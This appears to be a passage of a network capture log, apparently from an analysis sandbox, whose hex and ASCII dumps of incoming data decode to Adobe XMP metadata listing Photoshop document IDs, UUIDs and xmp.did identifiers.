2022-07-20 13:44:17 UTC	2665	IN	Data Raw: 38 35 30 38 35 41 36 46 39 36 33 30 36 34 30 36 39 38 42 32 43 41 46 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 34 39 32 36 45 31 34 32 30 31 46 37 31 33 44 43 35 46 39 32 39 30 41 30 42 34 44 31 32 44 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 34 39 46 32 43 30 46 44 39 38 35 35 31 43 42 43 46 31 33 31 31 43 46 46 33 36 33 33 37 41 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 34 41 32 31 34 35 41 32 35 46 35 43 36 32 31 37 39 31 36 45 36 39 34 45 44 38 34 39 43 39 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 34 42 35 33 45 45 38 31 43 36 36 43 43 36 43 30 43 39 45 33 37 32 30 41 37 30 32 35 45 34 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 34 42 37 41 45 39 32 44 36 30 36 32 Data Ascii: 85085A6F9630640698B2CAF8</rdf:li> <rdf:li>D4926E14201F713DC5F9290A0B4D12D9</rdf:li> <rdf:li>D49F2C0FD98551CBCF1311CFF36337AB</rdf:li> <rdf:li>D4A2145A25F5C6217916E694ED849C9D</rdf:li> <rdf:li>D4B53EE81C66CC6C0C9E3720A7025E4E</rdf:li> <rdf:li>D4B7AE92D6062
2022-07-20 13:44:17 UTC	2767	IN	Data Raw: 31 41 34 36 44 37 32 38 30 36 33 43 43 31 38 43 39 46 44 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 39 41 42 35 44 31 34 44 30 33 32 39 33 42 42 46 32 43 34 44 46 44 38 43 32 36 44 31 44 37 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 39 43 38 30 32 43 34 38 38 31 38 32 35 35 35 44 37 38 41 45 31 43 36 36 43 34 41 32 39 42 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 39 44 43 42 30 32 35 32 35 46 43 41 35 43 30 36 46 38 41 45 45 42 37 46 31 38 37 38 46 32 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 39 45 36 45 30 45 43 46 33 44 39 37 44 39 42 42 44 39 42 41 31 33 44 39 39 43 38 34 41 32 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 39 45 44 31 46 34 37 43 45 32 38 31 42 45 46 31 Data Ascii: 1A46D728063CC18C9FDD</rdf:li> <rdf:li>D9AB5D14D03293BBF2C4DFD8C26D1D73</rdf:li> <rdf:li>D9C802C488182555D78AE1C66C4A29B3</rdf:li> <rdf:li>D9DCB02525FCA5C06F8AEEB7F1878F2A</rdf:li> <rdf:li>D9E6E0ECF3D97D9BBD9BA13D99C84A2A</rdf:li> <rdf:li>D9ED1F47CE281BEF1
2022-07-20 13:44:17 UTC	2799	IN	Data Raw: 3a 6c 69 3e 45 37 34 34 44 34 44 37 31 45 42 45 39 34 42 46 37 37 41 43 34 43 34 38 37 37 34 34 34 38 31 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 37 34 41 31 31 41 39 38 35 38 44 45 42 33 30 35 46 31 34 30 45 46 32 32 43 43 43 30 42 45 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 37 36 34 43 45 32 44 30 30 30 45 38 41 41 45 45 31 38 46 35 35 46 43 38 32 35 43 35 36 43 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 37 36 43 38 43 31 45 38 34 41 34 32 38 31 36 42 31 33 33 33 34 34 37 46 41 44 36 39 41 34 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 37 37 36 34 44 39 31 38 35 32 46 43 44 30 42 34 34 41 35 43 37 30 34 37 33 44 34 43 33 43 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 Data Ascii: :li>E744D4D71EBE94BF77AC4C4877444813</rdf:li> <rdf:li>E74A11A9858DEB305F140EF22CCC0BEB</rdf:li> <rdf:li>E764CE2D000E8AAEE18F55FC825C56CC</rdf:li> <rdf:li>E76C8C1E84A42816B1333447FAD69A4D</rdf:li> <rdf:li>E7764D91852FCD0B44A5C70473D4C3CD</rdf:li> <rdf:li>E
2022-07-20 13:44:17 UTC	2854	IN	Data Raw: 38 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 32 42 37 32 36 31 44 32 39 30 44 46 36 38 31 41 39 33 37 39 32 30 34 31 33 43 31 43 43 31 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 32 42 45 41 43 42 39 37 31 32 33 36 46 33 31 39 37 39 33 38 30 44 43 39 46 42 30 31 38 41 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 32 43 39 44 35 45 39 30 44 34 34 46 33 30 30 36 45 41 38 30 33 31 39 32 31 44 43 35 33 32 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 32 44 33 37 38 31 32 38 45 35 36 37 43 44 33 45 38 45 31 39 39 42 42 30 45 37 46 31 30 33 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 32 45 33 37 32 45 45 33 31 32 34 42 39 32 42 36 34 38 44 42 45 30 31 42 41 38 31 32 45 41 41 3c 2f 72 Data Ascii: 8F</rdf:li> <rdf:li>F2B7261D290DF681A937920413C1CC12</rdf:li> <rdf:li>F2BEACB971236F31979380DC9FB018AB</rdf:li> <rdf:li>F2C9D5E90D44F3006EA8031921DC5329</rdf:li> <rdf:li>F2D378128E567CD3E8E199BB0E7F103A</rdf:li> <rdf:li>F2E372EE3124B92B648DBE01BA812EAA</r
2022-07-20 13:44:17 UTC	2894	IN	Data Raw: 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 39 32 39 30 34 31 46 34 37 45 43 35 33 33 36 45 43 33 45 32 46 43 43 41 42 46 32 38 45 33 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 39 33 39 36 33 35 39 44 42 37 43 36 41 35 33 35 35 39 34 36 43 44 38 33 33 37 34 45 43 41 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 39 34 36 38 35 46 45 38 32 34 37 45 35 33 31 37 30 32 42 34 31 39 39 35 43 32 34 34 30 39 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 39 35 41 33 42 33 37 41 44 35 31 39 39 46 31 44 36 41 30 32 37 46 32 32 30 44 32 31 32 45 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 39 35 41 34 35 32 44 34 37 43 43 43 35 35 46 37 34 32 32 45 43 45 45 44 37 32 32 46 39 42 42 3c 2f 72 64 66 Data Ascii: </rdf:li> <rdf:li>F929041F47EC5336EC3E2FCCABF28E3A</rdf:li> <rdf:li>F9396359DB7C6A5355946CD83374ECAE</rdf:li> <rdf:li>F94685FE8247E531702B41995C244099</rdf:li> <rdf:li>F95A3B37AD5199F1D6A027F220D212E9</rdf:li> <rdf:li>F95A452D47CCC55F7422ECEED722F9BB</rdf
2022-07-20 13:44:17 UTC	2919	IN	Data Raw: 64 65 64 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 31 39 66 33 33 39 38 30 2d 38 32 31 62 2d 31 31 64 62 2d 38 64 36 64 2d 63 39 34 37 39 64 39 38 30 30 38 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 31 61 30 62 37 35 61 37 2d 64 39 38 66 2d 31 31 37 38 2d 61 32 30 64 2d 61 66 32 65 66 39 63 31 39 37 64 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 31 61 32 37 61 34 39 32 2d 34 61 61 66 2d 31 31 37 38 2d 61 32 34 63 2d 66 31 30 32 63 35 38 30 64 64 32 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 Data Ascii: dedc</rdf:li> <rdf:li>adobe:docid:photoshop:19f33980-821b-11db-8d6d-c9479d98008f</rdf:li> <rdf:li>adobe:docid:photoshop:1a0b75a7-d98f-1178-a20d-af2ef9c197df</rdf:li> <rdf:li>adobe:docid:photoshop:1a27a492-4aaf-1178-a24c-f102c580dd27</rdf:li> <rdf:li>adobe
2022-07-20 13:44:17 UTC	2986	IN	Data Raw: 34 39 37 65 38 30 38 30 2d 64 38 33 32 2d 31 31 65 36 2d 38 63 31 31 2d 64 31 32 30 61 30 63 65 37 35 62 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 34 39 38 34 31 30 35 35 2d 31 32 62 34 2d 31 31 65 38 2d 62 65 39 32 2d 64 61 35 34 62 32 34 38 32 32 33 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 34 39 39 39 38 62 62 37 2d 33 34 30 36 2d 31 31 37 38 2d 62 66 32 36 2d 64 62 37 36 30 36 38 30 31 61 34 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 34 61 35 39 30 34 36 30 2d 66 31 65 33 2d 31 31 65 37 2d 61 62 31 30 2d 62 37 36 Data Ascii: 497e8080-d832-11e6-8c11-d120a0ce75b7</rdf:li> <rdf:li>adobe:docid:photoshop:49841055-12b4-11e8-be92-da54b2482239</rdf:li> <rdf:li>adobe:docid:photoshop:49998bb7-3406-1178-bf26-db7606801a44</rdf:li> <rdf:li>adobe:docid:photoshop:4a590460-f1e3-11e7-ab10-b76
2022-07-20 13:44:17 UTC	3001	IN	Data Raw: 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 36 31 33 61 39 36 38 35 2d 34 39 61 64 2d 31 31 64 38 2d 62 63 32 31 2d 65 35 62 37 35 31 63 65 63 62 32 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 36 31 62 34 61 65 30 33 2d 36 62 66 39 2d 31 31 64 39 2d 38 63 64 36 2d 65 63 33 34 39 30 34 38 64 35 37 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 36 31 66 30 62 64 63 38 2d 65 31 37 35 2d 31 31 64 38 2d 38 30 35 31 2d 38 38 38 38 33 63 33 30 36 63 63 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 Data Ascii: df:li>adobe:docid:photoshop:613a9685-49ad-11d8-bc21-e5b751cecb20</rdf:li> <rdf:li>adobe:docid:photoshop:61b4ae03-6bf9-11d9-8cd6-ec349048d578</rdf:li> <rdf:li>adobe:docid:photoshop:61f0bdc8-e175-11d8-8051-88883c306cc2</rdf:li> <rdf:li>adobe:docid:photoshop
2022-07-20 13:44:17 UTC	3089	IN	Data Raw: 64 39 2d 38 62 35 37 2d 38 63 61 61 35 33 61 38 34 31 63 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 39 30 61 32 37 35 66 66 2d 32 63 63 63 2d 31 31 65 36 2d 61 63 65 36 2d 66 31 35 37 38 36 39 37 65 37 61 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 39 31 66 37 61 32 61 64 2d 66 31 39 35 2d 31 31 65 34 2d 61 61 64 64 2d 63 66 64 35 30 66 65 62 30 38 30 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 39 32 30 30 63 32 65 33 2d 39 61 61 62 2d 31 31 37 61 2d 39 35 38 65 2d 61 64 36 62 63 65 36 31 62 39 30 38 3c 2f 72 64 66 3a 6c Data Ascii: d9-8b57-8caa53a841c7</rdf:li> <rdf:li>adobe:docid:photoshop:90a275ff-2ccc-11e6-ace6-f1578697e7ab</rdf:li> <rdf:li>adobe:docid:photoshop:91f7a2ad-f195-11e4-aadd-cfd50feb0808</rdf:li> <rdf:li>adobe:docid:photoshop:9200c2e3-9aab-117a-958e-ad6bce61b908</rdf:l
2022-07-20 13:44:17 UTC	3105	IN	Data Raw: 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 63 33 38 38 33 35 39 39 2d 66 33 64 32 2d 31 31 65 36 2d 62 61 36 37 2d 61 61 64 30 32 33 63 35 30 65 35 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 63 33 63 38 37 34 32 37 2d 63 38 31 34 2d 31 31 37 61 2d 39 32 35 65 2d 62 32 64 66 39 36 35 62 39 64 35 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 63 34 32 32 63 64 39 36 2d 62 66 34 34 2d 31 31 65 37 2d 38 64 39 65 2d 65 61 61 39 66 39 65 66 35 36 35 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 63 34 33 31 37 64 33 65 2d 35 31 Data Ascii: docid:photoshop:c3883599-f3d2-11e6-ba67-aad023c50e50</rdf:li> <rdf:li>adobe:docid:photoshop:c3c87427-c814-117a-925e-b2df965b9d5f</rdf:li> <rdf:li>adobe:docid:photoshop:c422cd96-bf44-11e7-8d9e-eaa9f9ef5651</rdf:li> <rdf:li>adobe:docid:photoshop:c4317d3e-51
2022-07-20 13:44:17 UTC	3113	IN	Data Raw: 37 61 36 39 64 65 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 64 66 64 39 37 30 30 35 2d 33 32 33 65 2d 31 31 64 61 2d 38 66 37 31 2d 38 38 65 63 62 36 30 38 31 62 63 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 65 30 32 64 38 31 30 37 2d 31 39 61 61 2d 31 31 37 38 2d 39 63 37 34 2d 66 32 65 34 61 38 37 66 63 32 36 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 65 30 33 36 38 30 30 63 2d 30 35 63 66 2d 31 31 64 61 2d 61 32 32 64 2d 65 61 32 37 35 35 64 30 61 34 32 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 Data Ascii: 7a69dec</rdf:li> <rdf:li>adobe:docid:photoshop:dfd97005-323e-11da-8f71-88ecb6081bc5</rdf:li> <rdf:li>adobe:docid:photoshop:e02d8107-19aa-1178-9c74-f2e4a87fc266</rdf:li> <rdf:li>adobe:docid:photoshop:e036800c-05cf-11da-a22d-ea2755d0a42b</rdf:li> <rdf:li>ad
2022-07-20 13:44:17 UTC	3152	IN	Data Raw: 44 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 31 33 34 32 30 34 42 34 33 43 45 34 44 46 31 31 42 45 43 42 38 32 32 42 45 46 38 32 32 45 34 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 31 33 35 39 46 43 32 39 38 30 46 32 45 30 31 31 41 41 31 42 45 42 41 43 44 35 44 34 30 36 46 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 31 33 36 38 36 38 37 32 37 30 41 37 31 31 44 42 38 31 31 31 45 33 37 45 44 31 38 42 41 43 34 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 31 33 42 36 39 35 37 43 44 32 30 31 31 31 44 42 39 39 31 36 46 42 31 45 45 42 37 34 39 36 35 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 31 33 42 42 42 34 34 42 44 34 Data Ascii: DF</rdf:li> <rdf:li>uuid:134204B43CE4DF11BECB822BEF822E48</rdf:li> <rdf:li>uuid:1359FC2980F2E011AA1BEBACD5D406F2</rdf:li> <rdf:li>uuid:1368687270A711DB8111E37ED18BAC46</rdf:li> <rdf:li>uuid:13B6957CD20111DB9916FB1EEB74965F</rdf:li> <rdf:li>uuid:13BBB44BD4
2022-07-20 13:44:17 UTC	3360	IN	Data Raw: 41 44 39 46 46 45 44 45 45 36 38 33 42 32 36 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 34 41 39 42 42 41 32 36 36 35 46 33 45 30 31 31 38 35 38 32 46 38 45 46 46 42 34 44 42 37 34 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 34 41 43 32 36 41 33 39 44 33 36 45 44 44 31 31 41 31 35 30 38 32 43 45 46 45 46 38 41 43 38 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 34 41 45 30 35 35 39 44 33 30 34 33 44 44 31 31 38 31 38 37 46 31 46 30 30 38 34 45 37 37 30 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 34 42 30 39 39 33 35 41 36 39 42 39 44 43 31 31 42 46 33 37 43 34 34 35 34 41 33 43 41 35 36 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 Data Ascii: AD9FFEDEE683B260</rdf:li> <rdf:li>uuid:4A9BBA2665F3E0118582F8EFFB4DB741</rdf:li> <rdf:li>uuid:4AC26A39D36EDD11A15082CEFEF8AC8D</rdf:li> <rdf:li>uuid:4AE0559D3043DD118187F1F0084E7703</rdf:li> <rdf:li>uuid:4B09935A69B9DC11BF37C4454A3CA56D</rdf:li> <rdf:li>u
2022-07-20 13:44:17 UTC	3367	IN	Data Raw: 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 30 33 36 35 30 35 38 35 35 34 41 44 45 31 31 41 32 39 34 44 32 41 34 30 33 39 38 35 45 44 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 30 33 45 37 45 41 30 45 39 36 33 45 31 31 31 41 41 43 36 43 36 32 38 36 30 38 33 31 39 36 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 30 35 37 45 32 44 46 45 46 31 36 31 31 44 46 39 45 36 46 46 33 37 39 34 42 42 30 38 32 34 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 30 37 35 34 35 35 38 42 42 42 46 44 44 31 31 38 32 30 30 44 38 38 44 32 34 32 36 43 44 35 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 30 38 35 30 41 45 36 37 39 43 37 45 30 31 31 Data Ascii: f:li> <rdf:li>uuid:60365058554ADE11A294D2A403985EDA</rdf:li> <rdf:li>uuid:603E7EA0E963E111AAC6C62860831962</rdf:li> <rdf:li>uuid:6057E2DFEF1611DF9E6FF3794BB0824F</rdf:li> <rdf:li>uuid:60754558BBBFDD118200D88D2426CD5B</rdf:li> <rdf:li>uuid:60850AE679C7E011
2022-07-20 13:44:17 UTC	3383	IN	Data Raw: 35 43 37 31 31 44 46 42 33 38 33 45 32 43 39 34 42 45 45 43 46 35 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 39 33 36 39 30 34 32 43 32 46 34 36 44 45 31 31 42 44 39 45 45 35 41 36 36 33 39 41 36 32 35 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 39 33 37 44 31 41 33 33 33 37 31 43 31 31 44 44 39 30 42 37 44 38 45 42 30 31 38 34 44 39 41 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 39 33 38 37 35 37 46 42 43 44 36 37 44 45 31 31 39 34 31 46 41 35 30 39 32 42 39 42 36 37 42 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 39 33 43 31 36 31 31 35 39 38 41 37 44 46 31 31 42 38 45 34 42 45 37 39 43 34 45 42 36 30 30 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 Data Ascii: 5C711DFB383E2C94BEECF55</rdf:li> <rdf:li>uuid:9369042C2F46DE11BD9EE5A6639A625F</rdf:li> <rdf:li>uuid:937D1A33371C11DD90B7D8EB0184D9A9</rdf:li> <rdf:li>uuid:938757FBCD67DE11941FA5092B9B67B5</rdf:li> <rdf:li>uuid:93C1611598A7DF11B8E4BE79C4EB6006</rdf:li> <r
2022-07-20 13:44:17 UTC	3399	IN	Data Raw: 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 43 44 30 44 42 30 42 37 30 45 38 30 44 44 31 31 38 45 43 43 41 43 35 31 30 46 35 42 44 31 32 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 43 44 31 34 34 41 31 41 42 43 45 31 44 45 31 31 42 42 45 37 44 41 39 46 42 34 36 36 44 42 41 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 43 44 35 44 33 45 44 45 41 41 45 39 31 31 44 42 41 32 33 37 39 42 45 37 34 37 30 34 45 32 30 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 43 44 36 41 32 37 36 46 32 32 33 31 45 30 31 31 39 37 36 38 44 45 32 46 35 32 31 31 32 46 36 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 43 44 38 38 43 39 35 43 39 32 43 Data Ascii: D</rdf:li> <rdf:li>uuid:CD0DB0B70E80DD118ECCAC510F5BD120</rdf:li> <rdf:li>uuid:CD144A1ABCE1DE11BBE7DA9FB466DBA1</rdf:li> <rdf:li>uuid:CD5D3EDEAAE911DBA2379BE74704E200</rdf:li> <rdf:li>uuid:CD6A276F2231E0119768DE2F52112F6B</rdf:li> <rdf:li>uuid:CD88C95C92C
2022-07-20 13:44:17 UTC	3407	IN	Data Raw: 43 44 43 42 45 30 31 31 42 33 46 45 44 32 34 38 33 31 38 34 38 46 35 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 45 42 34 35 32 35 38 35 36 33 39 37 44 45 31 31 41 34 43 30 43 41 33 43 34 45 46 46 43 41 33 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 45 42 38 44 32 45 35 30 36 43 39 45 45 30 31 31 42 42 33 35 39 45 31 34 35 33 38 41 30 41 34 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 45 42 39 44 43 33 37 45 33 42 36 45 44 45 31 31 38 39 34 42 46 46 45 35 41 32 36 43 44 36 34 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 45 42 46 31 38 34 41 41 33 42 42 45 44 43 31 31 41 44 43 39 41 41 39 34 32 33 46 31 36 45 41 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c Data Ascii: CDCBE011B3FED24831848F59</rdf:li> <rdf:li>uuid:EB4525856397DE11A4C0CA3C4EFFCA36</rdf:li> <rdf:li>uuid:EB8D2E506C9EE011BB359E14538A0A4D</rdf:li> <rdf:li>uuid:EB9DC37E3B6EDE11894BFFE5A26CD643</rdf:li> <rdf:li>uuid:EBF184AA3BBEDC11ADC9AA9423F16EAD</rdf:li> <
2022-07-20 13:44:17 UTC	3423	IN	Data Raw: 31 31 41 42 30 38 38 38 45 43 39 44 38 42 38 35 41 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 41 42 30 38 39 31 42 37 39 31 32 32 42 32 32 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 41 42 30 38 43 41 46 34 46 45 31 39 42 45 39 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 41 42 30 38 43 44 42 32 45 32 45 35 42 43 33 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 41 42 30 38 45 38 45 38 45 45 33 46 30 32 38 39 3c 2f 72 64 66 Data Ascii: 11AB0888EC9D8B85A6</rdf:li> <rdf:li>xmp.did:0180117407206811AB0891B79122B22D</rdf:li> <rdf:li>xmp.did:0180117407206811AB08CAF4FE19BE9D</rdf:li> <rdf:li>xmp.did:0180117407206811AB08CDB2E2E5BC33</rdf:li> <rdf:li>xmp.did:0180117407206811AB08E8E8EE3F0289</rdf
2022-07-20 13:44:17 UTC	3439	IN	Data Raw: 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 35 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 31 30 39 44 38 45 43 45 42 46 30 43 44 34 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 35 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 31 30 39 45 38 37 45 36 44 44 31 34 38 31 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 35 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 31 30 39 45 38 44 34 43 39 33 37 45 44 41 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 35 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 31 30 39 46 43 35 42 39 42 34 35 36 46 39 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 35 38 30 31 Data Ascii: > <rdf:li>xmp.did:05801174072068119109D8ECEBF0CD41</rdf:li> <rdf:li>xmp.did:05801174072068119109E87E6DD14813</rdf:li> <rdf:li>xmp.did:05801174072068119109E8D4C937EDAB</rdf:li> <rdf:li>xmp.did:05801174072068119109FC5B9B456F9A</rdf:li> <rdf:li>xmp.did:05801
